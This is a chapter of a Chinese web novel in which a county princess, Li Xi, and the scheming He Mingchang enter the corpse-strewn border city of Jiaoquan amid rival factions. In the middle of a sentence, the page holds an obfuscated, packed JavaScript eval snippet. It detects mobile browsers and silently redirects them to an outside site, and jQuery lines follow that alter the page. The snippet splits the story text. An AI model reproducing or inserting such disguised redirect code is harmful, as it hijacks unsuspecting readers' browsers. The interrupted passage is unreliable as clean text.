上侃 作品

222. 我那稳重狠戾的亡夫

抵达蛟泉已是两日后的事情了。


明文规定有宵禁的蛟泉在日月交替中仍旧安静无比,除了马车缓缓行驶的声音外,就像一座没有人的空城。


“什么味道?”


李熙动了动鼻尖,正准备掀开车帘,却被一只手拦住了,李熙不明所以,贺明常笑道:“腐烂的味道,县主可以相信我,你不会想看见的。”


李熙略微一顿,随即毫不犹豫扯下了车帘,车帘落地,外头的景色映入她眼底,让她那双平静的眼眸微微一震。


“我说过了,县主不会想看见的。”贺明常遗憾地收回手,但他那种遗憾也并没有多少感情,反倒是眼里有些幸灾乐祸。


李熙看见了人间地狱。


城门外随意堆砌的尸体层层叠叠,散发着恶臭,鲜血浸染了地面,留下不可磨灭的痕迹,而道路两侧有许多大坑,里面还传来烧焦了的味道,从李熙的角度看去能看见那还没烧完的焦尸。而稀疏的树林中,若隐若现躺着一些人,不知道是死是活。


“那些人是谁?”


贺明常反问:“打仗受伤的是谁?”


李熙虽隐隐猜到,但还是觉得不可思议。


战争里受伤的不是权贵,官兵,而是百姓。这些百姓是战争中的流民。可是好像又有些不同,李熙记忆中的流民蛮横无理,为了口吃的可以豁出性命,而这里的流民太安静了,哪怕如此明显的马车经过都没有一哄而上,尽数围攻抢夺。


李熙皱着眉看向他们,林子里一小孩似有所感抬头,李熙却是一愣,他眼中……没有活人的感觉,他好像,不想活了。


“我以为县主会问为什么不让他们进城。”贺明常开玩笑道。


李熙转眼轻睨他一眼:“贺堂主难道不知道,我就是流民出身。这种问题与何不食肉糜有何区别?”


贺明常故作恍然大悟:“哦,也对,县主就是流民。没有户籍,没有金银,放入城中会让城里动荡不安,不过最重要的还是,贵人们嫌脏。想来,还是县主厉害,从一个户籍都没有的流民一跃能成为南朝的明熙县主,我等不可及。”


李熙轻嗤一声:“手上沾满血不嫌脏,嫌衣服上沾了尘的。”


贺明常又笑:“手上的血看不见,可手上的泥却难以忽视。”


李熙经过尸堆,那恶臭袭来,让人捂鼻。


“怎么会有这么多尸体?堆在那里不处理是会引发瘟疫的。”李熙拧紧了眉头,疫病,天灾,比不得人祸,一旦传来便不是只死这些人了,整座城都难以逃脱。


贺明常遥遥看去:“处理啊,这不是来人处理了吗?”


贺明常话音一落,果然看见城门打开,一队裹得严严实实的男子走了出来,他们面带三角巾,腰间佩刀,手上缠满了布,布上还覆盖着羊肠。


只见他们抬起尸体一具一具扔进大坑里面,随后便是简单粗暴的一把火,不一会儿那恶臭的尸体便全都成了焦炭和灰烬,只剩下原地的血迹还依稀可以看出当初的惨烈模样。


李熙的唇紧紧抿成一条线。


“县主,这不每日都处理吗?”贺明常的声音让她指节掐得泛白。


“呵。”


“什么人?”


“天还未亮,不得入城!”


“没有诏令,不得入城!”


马车在进入城门的那一刻被拦下,马车外响起两道声音。


贺明常的手从车窗处伸出,他微微一放,一块玉佩悬吊在空中。


将士们看见玉佩脸色一变:“原来是王爷的人,失敬失敬。放行!”


马车车轮在此滚动。


明明是天未亮不得入城,天仍旧未亮。


明明是无诏不得入城,令牌并非诏令。


可这蛟泉的规矩就是这般容易打破。


“你和皇帝混在一起,又和窦王走得很近,你到底帮谁呢?”李熙微微眯起眼睛,眼中隐藏着试探。


贺明常收回玉佩,嘴角上扬:“难道我就不能都帮吗?”


“所以,窦王有问主明康之意了?”李熙挑眉。


贺明常身形一顿,他抬眸,眼中带笑:“试探我?皇帝和窦王爷是一母同胞的亲兄弟,窦王爷又是个逍遥王,只懂享乐不问朝政,别说明康的政事,就连这蛟泉的他也不见得管,你说他有没有问主明康之意?”


“是不管,还是管不了?”李熙看向车外,天不亮,没有小摊小贩,但是街道上早已布满了巡逻的士兵。


她微微抬眸,只见两侧楼宇暗处,或是黑衣涌动,或是将衣藏尾,那些刺眼的视线齐齐落在这缓慢行驶的马车上,当真是万众瞩目。


而且,甚至还不止如此。


李熙敏锐地目光扫过两侧林立的商铺,薄薄的挡板和窗户遮不住恶意的视线。


“这蛟泉漏得很筛子一样,怪不得人人都想往这儿跑,分一杯羹。”李熙意有所指,语气变得讽刺。


“自然比不上吕县,连只苍蝇都飞不出县主的手掌心。”贺明常毫无诚意地恭维道。


“那是以前,现在可就不一样了,毕竟我只是个被囚禁在明康的县主,手伸不了那么长,自当是两耳不闻窗外事,一心只扑名利场。”李熙自我嘲讽。


“两耳不闻窗外事?”


贺明常似笑非笑:“县主这就看轻自己了,这几年没有县主,我在吕县可仍旧吃了不少亏,不过欣慰的是,吃亏的不止我一人,还有……”他说着意味深长地指了指头顶。


“那位可太想将边城握在手中了,一个吕县,一个越地,真想不到,原本极度贫瘠之地现在却富饶至此,那位和稚蛮王肠子都悔青了吧?可惜那两地的人都太过固执,哪怕将所有一把火烧尽都不留给别人,想要动用武力,全城的人便会一拥而上,刀剑兵器、火药武器、粮食布匹竟源源不断,又靠着易守难攻的地势让多少人知难而返。打不下就只能暂且搁置,所幸哪方都没有得到好处,才维系着一种微妙的平衡。县主,小人愚钝,您说这种平衡能维系多久呢?”


顿了顿,他意味深长道:“蛇得卧着,可是龙可卧不下来。”


贺明常仔细观察着李熙的表情,想要看出些许端倪,可李熙的面色太过平静,就像戴着一层厚厚的面具,难以看透。


“贺堂主所言,我还是头一回听见呢,许是我常年待在明康,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046162|157348||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


已成井底之蛙了吧。”李熙苦笑道,一副无可奈何的模样。


贺明常轻哂一声,小狐狸……哦不,现在是老狐狸了。


“井底要真有蛙才好。”


李熙能不知道吗?


李熙简直太知道了。


每年读遍万卷军书,阅尽千封来信,虽远在明康,但吕县之事事无巨细她皆了然如胸。皇帝对李熙不满却又不敢轻易处理掉她的原因就在此。吕县收不回,平衡打不破也不能打破,战火便只能从另一个方向烧来。


比其固若金汤的吕县,这漏得跟筛子一样的蛟泉似乎更好得利,但也只是似乎罢了,当一座城有两种势力,你争我夺,不是你受益就是我受益,可是当一座城满是势力的时候,你争我夺只会让其他人坐收渔翁之利,这何尝不是形成了另一种平衡?


你争我夺变成了尔虞我诈,脆弱的联盟平地而起但谁又能知道暗地里又是如何?


表面上方家坐拥兵权,主宰整座城池;南朝皇帝忌惮兵权想要将边城握在手里;暗地里还有日月堂虎视眈眈;稚蛮和别国也想分一杯羹。


而这座城真正的主人,在这座城里盘踞数十年的窦王真的已被多方势力完全架空,没有野心的逍遥王真的没有野心?也不见得吧。


至此,四面楚歌,危机四伏下,又造成了另一种微妙的平衡,也可以说是僵局。


有人想打破,可是又怕成为众矢之的,可不打破就是形如枯槁的老者,退不了又前进不得,只能等着时间耗尽,油尽灯枯,最后被山野中的恶狼吞噬。


所以,贺明常才一直想要将她拉入这混乱的漩涡,他野心勃勃,想借用新来的力量打破这微妙的平衡,同时,又不想让自己成为众矢之的,真是打得一手好算盘。


大概这就是贺明常所说的戏台子已经搭好。


可是啊……


戏子入局,可是提线木偶任人摆弄,亦可翻手云覆手雨。这场戏,入局由他,可最终到底是哪种结局,就由不得他了。


蛟泉……


李熙垂眸,遮住眼中一闪而过的流光。


城门轰然关闭,棋子就此入局。


就在此时,贺明常递来一条手帕:“接下来去的地方,还请县主蒙上眼睛。”


李熙望着那黑色手帕:“贺堂主也会害怕?”


贺明常道:“若县主愿意加入我日月堂,那自然免去这些繁文缛节,可县主不愿,县主也知,这世上只有死人才能保守秘密。我啊,可舍不得县主这样如花似玉的美人儿死去呢。”


李熙啧了一声,伸手接过他的手帕,却毫不犹豫扔了出去。


“我和堂主还没有熟悉到互换手帕的地步。”她拿出自己的手帕,叠了几转蒙上了眼睛:“贺堂主,可否还要检查一下?”


“不必了。”贺明常抬手,掉在车里的纱帘飞起,四只匕首飞出,瞬间将纱帘钉死在车厢上,马车内变得一片漆黑。


说着不用了,实则还搞小东西,老狐狸。


飘落的手帕掉在马车尾处,被路过的行人捡起。


无人看见,那行人迈着悠闲的步伐,进了这蛟泉最大的清倌青楼之中。